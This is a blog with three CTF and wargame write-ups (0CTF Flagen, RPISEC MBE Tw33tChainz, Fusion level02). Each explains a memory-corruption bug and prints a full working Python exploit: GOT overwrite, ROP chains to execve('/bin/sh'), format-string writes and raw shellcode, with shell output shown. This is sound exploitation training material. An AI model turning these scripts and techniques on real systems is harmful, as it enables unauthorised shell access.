Blog

0CTF Flagen Pwnable

2015-03-28 19:42:33

This is a write up for 0CTF 2015 pwnable Flagen
For this pwnable, we were given a 64 bit elf and the libc.so used on the server.

Quickly running the program we see that you can input a string and preform actions on it.
== 0ops Flag Generator ==
1. Input Flag
2. Uppercase
3. Lowercase
4. Leetify
5. Add Prefix
6. Output Flag
7. Exit 
=========================
Your choice: 1
Hello World
Done.
== 0ops Flag Generator ==
1. Input Flag
2. Uppercase
3. Lowercase
4. Leetify
5. Add Prefix
6. Output Flag
7. Exit 
=========================
Your choice: 4
Done.
== 0ops Flag Generator ==
1. Input Flag
2. Uppercase
3. Lowercase
4. Leetify
5. Add Prefix
6. Output Flag
7. Exit 
=========================
Your choice: 6
The Flag is: 1-13110 W0r1d
Done.
== 0ops Flag Generator ==
1. Input Flag
2. Uppercase
3. Lowercase
4. Leetify
5. Add Prefix
6. Output Flag
7. Exit 
=========================
Your choice: 7
Bye


The string input is limited to 0x100 bytes and there are stack canaries on most methods.
Looking around I first thought we could use the Add Prefix option to overflow the buffer,
as it added 0CTF{ to the beginning. However, it is written with snprintf, and limits the size.
Then I noticed that there is no size check on the Leetify option, and that 'H' will be replaced
with 3 characters '1-1'. Thus adding enough H's will push the end of the string out over the
buffer limits.
Your choice: 1
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
Done.
== 0ops Flag Generator ==
1. Input Flag
2. Uppercase
3. Lowercase
4. Leetify
5. Add Prefix
6. Output Flag
7. Exit 
=========================
Your choice: 4
Segmentation fault (core dumped)


However, when we just slight overflow it to get control of the stored return address, we kill
the stack canary and __stack_chk_fail is called. On the bright side if we overwrite more, we
end up overwriting the destination argument that is passed to strcpy before the check fails.

Because the elf only has partial Relro, we use this to overwrite .got.plt entries. Specifically,
we can overwrite __stack_chk_fail, as its called a few instructions later. Now that we have
control of eip, we can start our ROP.

The plan is to leak a libc address and then write new addresses for use to return into,
hopefully allowing us to just ret2libc. The first thing we need is a pivot. Luckily, ebp points
to the stack right after our strcpy argument overwrite. The next address after that is the src
address, so we will skip over that and start stage 1 of the ROP chain.

From here we return to the end of the main method where it prints "Bye" and supply our own
argument of somewhere in .got.plt to get our leak.

== 0ops Flag Generator ==
1. Input Flag
2. Uppercase
3. Lowercase
4. Leetify
5. Add Prefix
6. Output Flag
7. Exit 
=========================
Your choice:

¦än++n++in+++àn++n++n++n++n++n++n++n++n++n++n++n++n++n++n++n++n++n++n++n++-ån++n++n++n++1-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-14444444444444444444444444444444444444444444444444444444444444444444444444444444n++n++n++n++

From this we can extract the libc address and calculate any new address due to ASLR.

The main method then leaves and returns to our new strcpy near .got.plt. From here I ran
into some problems trying to read input, because we were so close to invalid memory in
.got.plt, so I stuck about 20 ret; gadgets to help lift the stack some. After that I returned into
the program's method that reads user input until a size is hit or a \n if found. This is nice
because we can use it to also write null bytes. We feed it the location of execve with the
leaked offset applied, and give it arguments of libc's "/bin/sh" string and two nulls.

Finally all we need to do is return into this, its about 3 words away, so we can use a pop*3
gadget and just return into execve. Now we can interact with the shell and cat our flag.

Final output:
== 0ops Flag Generator ==
1. Input Flag
2. Uppercase
3. Lowercase
4. Leetify
5. Add Prefix
6. Output Flag
7. Exit 
=========================
Your choice:
 Done.
== 0ops Flag Generator ==
1. Input Flag
2. Uppercase
3. Lowercase
4. Leetify
5. Add Prefix
6. Output Flag
7. Exit 
=========================
Your choice:
 
¦än++Dgn+++àn++n++n++n++n++n++n++n++n++n++n++n++n++n++n++n++n++n++n++n++-ån++n++n++n++1-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-11-14444444444444444444444444444444444444444444444444444444444444444444444444444444n++n++n++n++
0xf7624650L

id
uid=1001(flagen) gid=1001(flagen) groups=1001(flagen)
cat /home/flagen/flag
0ctf{delicious_stack_cookie_generates_flag}


Final python scrip:

import struct
import socket as soc
import telnetlib as tl
import time
import sys

def readuntil(so, needle):
    data = ""
    while needle not in data:
        data += so.recv(1)
    return data

so = soc.socket(soc.AF_INET,soc.SOCK_STREAM)
if (len(sys.argv)>1):
	so.connect(("202.112.26.106",5149))
else:	
	so.connect(("localhost",6000))

print readuntil(so,"Your choice:")
so.send("1\n")

#We overwright stackcheckfail with this address
pl=struct.pack("I",0x080485d8) #leave; ret to stage 1

#Stage 2 (Write and ret2libc)
of2=4*24
#Move the stack forward so functions can have stack space
pl+=struct.pack("I",0x08048b02)*20 #ret;

#Read in input and then return into it
pl+=struct.pack("I",0x80486CB) #Return to get user input
pl+=struct.pack("I",0x08048d8d) #3 pops to align to our ret2execve
pl+=struct.pack("I",0x804b080) #Address to write to
pl+=struct.pack("I",0x01010101) #Size

#Calculate offsets and padding
h=13+(36/2)
of=(h-13)*2
pl+="H"*h
pl+="A"*(0x100-14-h-of-of2)

#First leave ret ends up here, we want jump forward to stage 1
pl+=struct.pack("I",0x08048b01) #pop ebp ret

#Overwrite strcpy argument with this address
pl+=struct.pack("I",0x804b01c) #Stackcheckfail location

#Stage 1 (Leak libc address with printf)
pl+=struct.pack("I",0x8048D06) #Ret to printf (it does leave; ret; We pivot to stage 2)
pl+=struct.pack("I",0x804b010) #Print some got addresses

so.send(pl+"\n")

#Trigger the 'H' bug in leetify
print readuntil(so,"Your choice:")
so.send("4\n")

time.sleep(.1)
print so.recv(1)
#read leaked address
nv = struct.unpack("I",so.recv(4))[0]
print so.recv(4096)
print hex(nv)

#Calculate difference in libc
dif = nv-0xb7e92650

#Send ret2execve and "/bin/sh" locations accounting for ASLR
pl="AAAA"
pl+=struct.pack("I",0xb7ee2be0+dif) #execve
pl+="AAAA"
pl+=struct.pack("I",0xb7f8da24+dif) #/bin/sh
pl+="\x00"*8 #null arguments
so.send(pl+"\n")

#Interact with our shell
t = tl.Telnet()
t.sock = so
t.interact()





RPISEC MBE Tw33tChainz

2015-02-27 00:05:09

This is a write up on the first project of RPISEC's class Modern Binary Exploitation.
We received access to an account on the warzone which could run a suid x86 ELF with elevated permissions
of project1_priv.
If you run the program you encounter quite a bit of ascii art:



But the application itself seems to be mostly a linked list with string elements of length 16, which you
can then display back to the screen. It also has a "login" at the start where you enter a username and
a hash.

I began fuzzing the program on the server. I found out that it was taking buffered input, most likely
using fgets so it might be hard to get a buffer overflow. I also noticed quickly that on the option menu
there was a hidden open under '3' which would prompt for an admin password. I also noticed a 6th option,
but I will get to that later.

To further investigate I scp'ed the ELF off the server and started some static reverse engineering on it.
With it open in ida I looked at the hidden option first:



Following the call, I found where the user's input was compared against a 16 character buffer.
Xreferenceing the buffer, I found that it was filled in the function gen_pass.



Here we see that it is reading 16 bytes from /dev/urandom into the buffer. So we need some kind of data
leak to make use of that.

To test the functions of the administrator, I created a patched version of the binary that always accepted
any input for the admin password.



Now I began to explore the program as the admin. At first glance, it appears that all it does is allow the
user to toggle an option to show the addresses of the links in the linked list.

However, through some further fuzzing I noticed a format string venerability that is only active as admin.
When you make a tw33t, the last one shows up in the main menu, but is passed directly as the format string.
To test I tw33ted a "%x" to read a value off the stack.



Something else to note about that address that we leaked; it is the same one as the tail of the linked list.
Looking at the vulnerability in ida, its just as I expected:



Armed with this knowledge, it was time to crack the admin's password. I began by looking at the where else it
was used. I couldn't find any xrefs that helped, but I eventually looked in the hash function and noticed that
some hard coded constants were actual pointers to the user, salt, and admin pass. The actually hashing function
is this:



It takes one byte of each buffer (user, hash, and admin) and does the following operation:
Final[i]=(Salt[i]+Admin[i])^User[i]
This is really easy to break, as we control user and hash. If we give both all zeros, the net result of the
hash will be the original admin password. The hash is then directly printed to the screen for our convenience.
With this we could get admin almost every time we ran the program.

The next thing I did was to inject some shell code into the linked list. This was pretty straightforward, as I
only had to break the shell code up into 14 bytes with 2 byte jump to go between links. I used a standard execve
shellcode which I modified to work with the jumps.



The next and more difficult step was to get control of eip, so I began playing around with the format string.
Here was some of the stack that I could work with:



Some interesting values:
0xbf993b04 = Pointer to the tail of the linked list, ie the format string on the heap.
0xbf993b18 = Pointer to address before saved eip location.
0xbf993b20 = First address space we control (I had some got.plt overwrite stuff going on here. Ignore it.)
0xbf993b24 - 0xbf993b2c = The rest of the area we directly control.
0xbf993b3c = The saved eip location that we want to overwrite.
Further down the stack are environmental variables arguments etc.

From here there are a few options. The most straightforward is to overwrite the saved eip location with a pointer
to our shellcode from earlier. However we only have 16 bytes to do our format string, which can be a little tricky,
and one byte was all ready taken up by a byte of padding due to a weird offset.

To get it to work I ended up using the pointer to the last link instead of putting a pointer to our earlier links
(which would waste 4 bytes of space.) I put the pointer to the saved eip onto the stack as the first few bytes of
the format string and then used "%.*x" to print a number of 0s equal to the last link's address (first argument).
Then simply used %n to store that value into the return address.

The tricky part here was that this was returning into the middle of our format string, 5 bytes in. This both wasn't
our shell code, but also caused segfaulting of its own. With some fiddling with length and positions I eventually got
it so that it would return to the valid assembly operation to conditionally jump backwards into our shellcode, if
the sign flag was set. Luckly it was, but if it wasn't I used the next two bytes to unconditionally jump back.

With all this set and working on my local machine, I copied over my python script and added a section to leak the
value of the address before the return address (although aslr was off, this pwn would work even if it was enabled).



And with that address in place, I was ready to sit though the 137,846,792 zeros and claim my prize.



The flag is m0_tw33ts_m0_ch4inz_n0_m0n3y
and the final python script is:


import os
import struct
import sys

#Init the user and pass with nulls to counter the hash.
os.write(1,"\x00"*16)
os.write(1,"\x00"*16)

#Have user enter input.
admin = raw_input()
adminPass = ''


if admin!="":
	#Convert the endianness of the password
    for i in range(0,4):
        for j in range(3,-1,-1):
            adminPass+=chr(int(admin[i*8+j*2:i*8+j*2+2],16))
    os.write(1,"\n\n")
    os.write(1,"3\n")
    os.write(1,adminPass+"\n")
else:
    os.write(1,"\n\n")

#Tweet
def store(s):
    os.write(1,"1\n")
    os.write(1,s+"\n")

#Tiny notsled+jumps
store("\x90"*14+"\xeb\x28")
store("\x90"*14+"\xeb\x10")


#/bin/sh ShellCode+jumps
store("\x31\xdb"+"\x31\xc9"+"\xf7\xe1"+"\x50"+"\x68\x6e\x2f\x73\x68"+"\x90\x90"+"\xeb\x10")
store("\x68\x2f\x2f\x62\x69"+"\x89\xe3"+"\xb0\x0b"+"\xcd\x80"+"\x90"*5)


#Pick the target to overwrite (Leaked 0xbffff608 using the format vunrability
goal = 0xbffff608+4

if (len(sys.argv)>1 and sys.argv[0]=="leak"):
	#Leak the stored eip-4
	store("%6$p")
	os.write(1,"\n\n")
	raw_input()
else:
	#Pause before launching '0'day
	raw_input()

	eip=0xbfd38d7c
	
	pl = "A" #Padding
	
	pl+=struct.pack("I",goal) #Target to overwrite
	
	pl+="%.*x" #Write n 0s where n is first argument on the stack (tweet_tail pointer)

	pl+="\x9e\xeb\x9e" #Jumps back to our shellcode once tweet_tail is hit
	
	pl+="%8$n" #Overwrite our goal.
	
	store(pl)
	os.write(1,"\n\n")

	while True:
		#Read from stdin into pipe
		l=raw_input()
		if (l==""):
			break
		os.write(1,l+"\n")


Update:


In an attempt to make it more automatic, I added a wrapper, because I too lazy to modify the piped one.
It might be shaky, as the io is weird at times........

wrapper.py

import subprocess as sub
import re
import time
import sys
import os

if (len(sys.argv)>1 and sys.argv[1]=="leak"):
    sp = sub.Popen("python really.py leak | /levels/project1/tw33tchainz",
    shell=True,stdin=sub.PIPE,stdout=sub.PIPE)

    time.sleep(.5)

    data = sp.stdout.read(2000)

    admin = re.search('Generated Password:\n[0-9a-f]+',data).group(0)
    admin = admin[len('Generated Password:\n'):]
    print "Admin ",admin
    sp.stdin.write(admin+"\n")

    print data

    data = sp.stdout.read(10000)
    print data
    sp.stdin.write("\n")
    data = sp.stdout.read(3200)
    print data
    addr = re.search("0x[a-f0-9]+",data).group(0)[2:]
    print addr
    sp.kill()
    raw_input()
    sp = sub.Popen("python really.py run "+addr+" | /levels/project1/tw33tchainz",
    shell=True,stdin=sub.PIPE,stdout=sub.PIPE)
else:
    sp = sub.Popen("python really.py | /levels/project1/tw33tchainz",
    shell=True,stdin=sub.PIPE,stdout=sub.PIPE)


time.sleep(.5)

data = sp.stdout.read(2000)

admin = re.search('Generated Password:\n[0-9a-f]+',data).group(0)
admin = admin[len('Generated Password:\n'):]
print "Admin ",admin
sp.stdin.write(admin+"\n")

print data
sp.stdin.write("\n\n\n\n")

data = sp.stdout.read(10000)
print data
mode=1
while sp.poll() is None:
    output = sp.stdout.readline()
    l = len(output)
    os.write(1,"."+str(l))
    #print output
    if (l>=10000):
        if (mode==0):
            mode=1
        elif (mode==1):
            break
print "done"
while True:
    print ">"
    s = raw_input()
    sp.stdin.write(s+"\n")
    print sp.stdout.readline()
sp.kill()




Exploit Exercises Fusion Level02

2014-12-13 22:55:08

Write-up for Exploit Exercises Fusion Level02:
We are given the source code for the level02 binary.

level02.c

#include "../common/common.c"    

#define XORSZ 32

void cipher(unsigned char *blah, size_t len)
{
  static int keyed;
  static unsigned int keybuf[XORSZ];

  int blocks;
  unsigned int *blahi, j;

  if(keyed == 0) {
      int fd;
      fd = open("/dev/urandom", O_RDONLY);
      if(read(fd, &keybuf, sizeof(keybuf)) != sizeof(keybuf)) exit(EXIT_FAILURE);
      close(fd);
      keyed = 1;
  }

  blahi = (unsigned int *)(blah);
  blocks = (len / 4);
  if(len & 3) blocks += 1;

  for(j = 0; j < blocks; j++) {
      blahi[j] ^= keybuf[j % XORSZ];
  }
}

void encrypt_file()
{
  // http://thedailywtf.com/Articles/Extensible-XML.aspx
  // maybe make bigger for inevitable xml-in-xml-in-xml ?
  unsigned char buffer[32 * 4096];

  unsigned char op;
  size_t sz;
  int loop;

  printf("[-- Enterprise configuration file encryption service --]\n");
  
  loop = 1;
  while(loop) {
      nread(0, &op, sizeof(op));
      switch(op) {
          case 'E':
              nread(0, &sz, sizeof(sz));
              nread(0, buffer, sz);
              cipher(buffer, sz);
              printf("[-- encryption complete. please mention "
              "474bd3ad-c65b-47ab-b041-602047ab8792 to support "
              "staff to retrieve your file --]\n");
              nwrite(1, &sz, sizeof(sz));
              nwrite(1, buffer, sz);
              break;
          case 'Q':
              loop = 0;
              break;
          default:
              exit(EXIT_FAILURE);
      }
  }
      
}

int main(int argc, char **argv, char **envp)
{
  int fd;
  char *p;

  background_process(NAME, UID, GID); 
  fd = serve_forever(PORT);
  set_io(fd);

  encrypt_file();
}



First off, here is a python util file I created for working with the fusion levels:

com.py

import sys
import socket
import select
import os

def connect(port,block=0):
	so = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	so.connect(("localhost",port))
	so.setblocking(block)
	os.system("ps aux | grep "+str(port))
	print "Press enter to run"
	raw_input()
	return so
	
def recvTime(so,t=1):
	ready = select.select([so],[],[],t)
	if ready[0]:
		return so.recv(4096)
		
def useShell(so):
	print "Attempting shell"
	while True:
		so.send(raw_input("$")+"\n")
		print recvTime(so)



Looking over the source, the vulnerability appears to be

nread(0, &sz, sizeof(sz));
nread(0, buffer, sz);


We can specify the amount of bytes to read into the buffer. To overflow it we need 32*4096=0x20000 bytes, and 16 bytes padding to get overwrite the return address.


#!/usr/bin/python
import com
import struct

so = com.connect(20002,1)
print com.recvTime(so)

pl = "A"*0x20010
pl += "BBBB"

s = "E"+struct.pack("I",len(pl)) #length of payload
s+=pl
s+="Q"
so.send(s)
print len(com.recvTime(so))

Causes us to segfault in gdb:
0xb783e424 in __kernel_vsyscall ()
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xa80a95b7 in ?? ()

However, the payload gets "encrypted" by being XORed by block for up to 32 unique cipher blocks.
The cipher is only set once and then used for all the files, so we can do a known plaintext attack on it by sending 32 blocks of AAAA.

#!/usr/bin/python
import com
import struct

def enc(s, keybuf):
        pt=""
        for i in range(0,len(s)/4):
                o = struct.unpack("I",s[i*4:i*4+4])[0]
                o = o^keybuf[i%32]
                pt+=struct.pack("I",o)
        return pt

so = com.connect(20002,1)
print com.recvTime(so)

s = "E"+struct.pack("I",0x80)+"A"*128
so.send(s)
s = com.recvTime(so,128+124)[124:]

keybuf=[]
#XOR the output to cancel the original XOR
for i in range(0,32):
        o=struct.unpack("I",s[i*4:i*4+4])[0]
        o=o^struct.unpack("I","AAAA")[0]
        keybuf.append(o)

pl = "A"*0x20010
pl += "BBBB"

s="E"+struct.pack("I",len(pl))
s+=enc(pl,keybuf)
s+="Q"

so.send(s)

#eat up all the output
for i in range(0,0x20014/4096+1):
        com.recvTime(so)

Now we get a segfault at the correct location:
0xb783e424 in __kernel_vsyscall ()
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

All that is left is to ROP to victory. Looking at what ROP gadgets were avalible I decided to call execve with "/bin/sh" as arguments. The gadgets I used were:
0x08048818 pop %ebx; ret;
0x08049fe3 call *(%ebx);

I found the GOT.PLT entry for execve using objdump:
 
fusion@fusion:~$ objdump -R /opt/fusion/bin/level02 | grep execve
0804b3d8 R_386_JUMP_SLOT   execve

And found I found the arguments in gdb:
(gdb) find system, +99999999, "/bin/sh"
0xb77ee8da
warning: Unable to access target memory at 0xb7830f62, halting search.
1 pattern found.


The rop will load the execve@got.plt into ebx and then call that pointer. The stack will have the arguments of the "/bin/sh" pointer and two NULLs.

The final code:

#!/usr/bin/python
import com
import struct

def enc(s, keybuf):
        pt=""
        for i in range(0,len(s)/4):
                o = struct.unpack("I",s[i*4:i*4+4])[0]
                o = o^keybuf[i%32]
                pt+=struct.pack("I",o)
        return pt

so = com.connect(20002,1)
print com.recvTime(so)

s = "E"+struct.pack("I",0x80)+"A"*128
so.send(s)

s = com.recvTime(so,128+124)[124:]
print len(s)

keybuf=[]
#XOR the output to cancel the original XOR
for i in range(0,32):
        o=struct.unpack("I",s[i*4:i*4+4])[0]
        o=o^struct.unpack("I","AAAA")[0]
        keybuf.append(o)


evp=0x804b3d8 #GOT of execve
sh=0xb77ee8da #"/bin/sh"
pebx=0x08048818 #pop %ebx | ret
cebx=0x08049fe3 #call *(%ebx)

pl = "A"*0x20010
pl+=struct.pack("I",pebx)
pl+=struct.pack("I",evp)
pl+=struct.pack("I",cebx)
pl+=struct.pack("I",sh)
pl+=struct.pack("I",0)*2

s ="E"+struct.pack("I",len(pl))
s+=enc(pl,keybuf)
s+="Q"

so.send(s)

#eat up all the output
for i in range(0,0x20014/4096+1):
        com.recvTime(so)
print com.recvTime(so)

com.useShell(so)

And the results:
Press enter to run

[-- Enterprise configuration file encryption service --]

128
None
Attempting shell
$id
uid=20002 gid=20002 groups=20002

$